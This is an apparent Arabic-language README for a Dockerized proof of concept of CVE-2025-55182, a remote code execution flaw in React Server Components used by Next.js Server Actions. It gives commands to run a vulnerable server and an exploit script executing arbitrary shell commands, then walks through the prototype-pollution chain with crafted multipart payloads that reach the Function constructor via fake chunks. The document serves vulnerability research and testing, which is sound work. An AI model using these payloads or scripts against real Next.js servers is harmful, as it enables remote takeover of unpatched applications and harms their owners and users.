
إثبات مفهوم معزول بـ Docker لـ CVE-2025-55182، ثغرة RCE حرجة في React Server Components عبر تلوث النموذج الأولي، مع سكربتات استغلال آلية وبيئة اختبار Next.js ضعيفة.
يحتوي هذا المستودع على إثبات مفهوم مُحوسب (Dockerized) للثغرة الأمنية CVE-2025-55182، وهي ثغرة حرجة لتنفيذ الأكواد عن بُعد (RCE) في مكونات خادم React (React Server Components - RSC) والتي تؤثر على تطبيقات Next.js التي تستخدم إجراءات الخادم (Server Actions).
تم إنشاء إثبات المفهوم الأصلي وتحليل الثغرة بواسطة msanft. يعمل هذا المستودع على توسيع عملهم من خلال توفير بيئة اختبار مُحوسبة (Dockerized) لتسهيل الاختبار والعرض التوضيحي.
requests (pip install requests)ابدأ تشغيل خادم Next.js الثغرة:
docker compose up --build -d
انتظر حتى يبدأ الخادم (تحقق من السجلات باستخدام docker compose logs -f nextjs-server)
قم بتشغيل الاستغلال:
# السكربت الآلي (موصى به)
./exploit-docker.sh
# أو يدويًا
ACTION_ID=$(curl -s http://localhost:3000 | grep -o '[a-f0-9]\{40\}' | head -1)
python3 poc.py http://localhost:3000 "$ACTION_ID" "touch /tmp/rce_test"
تحقق من نجاح الاستغلال:
docker compose exec nextjs-server ls -la /tmp/rce_test
# إنشاء ملف
python3 poc.py http://localhost:3000 "$ACTION_ID" "touch /tmp/rce_test"
# الكتابة إلى ملف
python3 poc.py http://localhost:3000 "$ACTION_ID" "echo 'RCE_SUCCESS' > /tmp/rce_output"
# التحقق من المستخدم الحالي
python3 poc.py http://localhost:3000 "$ACTION_ID" "whoami > /tmp/rce_user"
# التحقق من النتائج
docker compose exec nextjs-server cat /tmp/rce_output
docker compose exec nextjs-server cat /tmp/rce_user
nextjs (UID 1001) داخل الحاويةيتضمن هذا المستودع إعداد Docker كاملاً لاختبار الثغرة:
docker-compose.yml - إعداد Docker Composetest-server/ - تطبيق Next.js الثغرةtest-server/Dockerfile - Dockerfile للإنتاجtest-server/Dockerfile.dev - Dockerfile للتطوير (اختياري)يعمل الخادم الثغرة على Next.js 16.0.6 مع إجراء خادم بسيط يمكن استغلاله.
poc.py - سكربت إثبات المفهوم بلغة Python (الأصلي بواسطة msanft، مع إصلاحات لهروب علامات الاقتباس)exploit-docker.sh - سكربت استغلال آلي لبيئة DockerDOCKER_SETUP.md - توثيق شامل لإعداد Docker# إيقاف الحاوية
docker compose down
# إزالة كل شيء (بما في ذلك وحدات التخزين)
docker compose down -v
يتم تقديم التحليل المفصل للثغرة، وسلسلة الاستغلال، ومعلومات التصحيح من البحث الأصلي أدناه.
تسمح هذه الثغرة بتنفيذ الأكواد عن بُعد (RCE) في دوال خادم React (React Server Functions)، على سبيل المثال كما تقدمها Next.js من خلال مراجع نموذج أولي (prototype) غير آمنة.
لست خبيرًا في React أو Next.js، لذا خذ جميع المعلومات هنا بحذر. علاوة على ذلك، ما زلت في عملية التحليل، لذا فإن ما أصوره أدناه بأنه "الثغرة" قد يكون فقط جزءًا صغيرًا من السلسلة الكاملة.
تقدم React دوال الخادم (Server Functions)[^1]، والتي يمكن النظر إليها كنوع من RPC- عبر HTTP. يمكن استخدامها لجلب البيانات من الأقران المجاورين لضمان زمن استجابة منخفض، أو تنفيذ طلبات موثقة تفتقر إليها بيانات اعتماد العميل.
تستخدم React ما يسمى بروتوكول React Flight[^2] لترميز (serialization) القيم التي تُمرر إلى دوال الخادم.
يمرر العميل "أجزاء" (chunks) إلى الخادم، على سبيل المثال عبر بيانات النموذج:
files = {
"0": (None, '["$1"]'),
"1": (None, '{"object":"fruit","name":"$2:fruitName"}'),
"2": (None, '{"fruitName":"cherry"}'),
}
كما هو موضح، يمكن أن تحتوي هذه الأجزاء على مراجع بين بعضها البعض. يتم إلغاء ترميز الحمولة أعلاه إلى ما يلي على الخادم:
{ object: 'fruit', name: 'cherry' }
التنسيق نفسه أكثر تعقيدًا بعض الشيء ويتيح إمكانية ترميز وإلغاء ترميز أكثر تعقيدًا، لكن هذا يوفر فهمًا أساسيًا للثغرة الفعلية.
حتى هذا الالتزام (commit)[^3]، عند اجتياز الأجزاء في حل المراجع (reference resolving)،
مثل الحصول على fruitName من الجزء 2 في المثال أعلاه، لم تتحقق React
سواء كان المفتاح المطلوب مُعيّنًا فعليًا على الكائن.
هذا سمح لنا بالحصول على النموذج الأولي للكائن (prototype)[^4].
يمكن توضيح ذلك بحمولة مثل هذه:
files = {
"0": (None, '["$1:__proto__:constructor:constructor"]'),
"1": (None, '{"x":1}'),
}
والتي يتم إلغاء ترميزها إلى مُنشئ الدالة (function constructor)[^5]:
[Function: Function]
عندما لا يكون الجزء ذو المعرّف 0 مصفوفة بل كائنًا، يمكننا
تعيين مفتاح then إلى مُنشئ الدالة. يتم بعد ذلك إرجاع الكائن
بواسطة دالة decodeReplyFromBusboy وانتظاره (await) بواسطة Next.js:
// action-handler.ts:888 (قبل التصحيح)
boundActionArguments = await decodeReplyFromBusboy(
busboy,
serverModuleMap,
{ temporaryReferences }
)
عندما تُرجع هذه الدالة كائنًا قابلاً للانتظار (thenable)، فإن await في المتصل ستستدعيه.
هذا ما يحدث مع هذه الحمولة:
files = {
"0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
"1": (None, '{"x":1}'),
}
مما يؤدي إلى هذا الخطأ:
SyntaxError: Unexpected token 'function'
at Object.Function [as then] (<anonymous>) {
digest: '1259793845'
}
يبدو الخطأ بهذا الشكل لأن V8 يستدعي دالة تم انتظارها (awaited)
مع دوال resolve و reject الداخلية، والتي، عند
تحويلها إلى نص (toString)، تُرمّز إلى شيء مثل هذا:
function () { [native code] }
نظرًا لأنه يمكننا استرجاع مُنشئ Function بسهولة، فإن
الطريقة المباشرة هي العثور على أداة استدعاء (call gadget) تستدعي
المُنشئ بقيمة يتحكم فيها المستخدم (أي كود الدالة
كنص)، ثم تستدعي الدالة المُعادة لاحقًا.
هناك عدة أماكن يمكنها استدعاء مُنشئ الدالة،
على سبيل المثال resolveServerReference، حيث يكون id كائنًا متحكمًا فيه،
ويمكن استبدال lastIndexOf لإرجاع نص يتحكم فيه المستخدم
(على سبيل المثال عبر Array.prototype.join) ويمكن استبدال slice بمُنشئ
الدالة. ومع ذلك، لا يعمل هذا المكان لأن الاستدعاء الثاني
لـ .slice() يزود رقمًا كوسيطة أولى، والتي -على حد علمي- لا يمكن
لمُنشئ الدالة معالجتها أبدًا.
هنا، تأتي فكرة رائعة من maple3142[^7]. عندما تحصل getChunk
على الجزء ذو المعرّف 0 كمرجع جذر لبدء حل
سلسلة المراجع، يمكن لهذا الجزء نفسه أن يحل إلى
"جزء مزيف" (fake chunk) مصنوع بدقة.
يمكننا الإشارة إلى الجزء المزيف 0 في الجزء 1 باستخدام
صيغة $@، والتي تُرجع الجزء "الخام"، وليس قيمته المُحلّة:
case "@":
return (
(obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
);
بدمج هذا مع استبدال then من الأعلى، يمكننا صياغة
شيء مثل هذا:
files = {
"0": (None, '{"then": "$1:__proto__:then"}'),
"1": (None, '"$@0"'),
}
هنا، يستبدل الجزء 0 دالة .then() الخاصة به بدالة .then() الخاصة
بتمثيل الجزء الخام نفسه. ببساطة، نستبدل
.then() الخاص بنا بـ Chunk.prototype.then، الموجود، نظرًا لأن
Chunk كائنات قابلة للانتظار (thenables):
Chunk.prototype.then = function (resolve, reject) {
switch (this.status) {
case "resolved_model":
initializeModelChunk(this);
}
// ...
مع الحمولة أعلاه، يتم في النهاية استدعاء Chunk.prototype.then
مع الجزء المزيف ذو المعرّف 0.
كما هو موضح أعلاه، عندما تكون .status على الجزء المزيف resolved_model:
files = {
"0": (None, '{"then": "$1:__proto__:then", "status": "resolved_model"}'),
"1": (None, '"$@0"'),
}
نصل إلى initializeModelChunk. هنا، يتم تحليل .value كـ JSON،
ثم يتم حل المراجع على الكائن المُعاد، باستخدام "السياق"
الخارجي لأجزائنا ذات المعرّفين 0 و1:
function initializeModelChunk(chunk) {
// ...
var rawModel = JSON.parse(resolvedModel),
value = reviveModel(chunk._response, { "": rawModel }, "", rawModel, rootReference);
// ...
ضمن هذا، نحصل الآن على تمريرة ثانية من التقييم مع قيم أكثر يمكننا الوصول إليها نظرًا لأن السياق الخارجي قد تم حله بالفعل.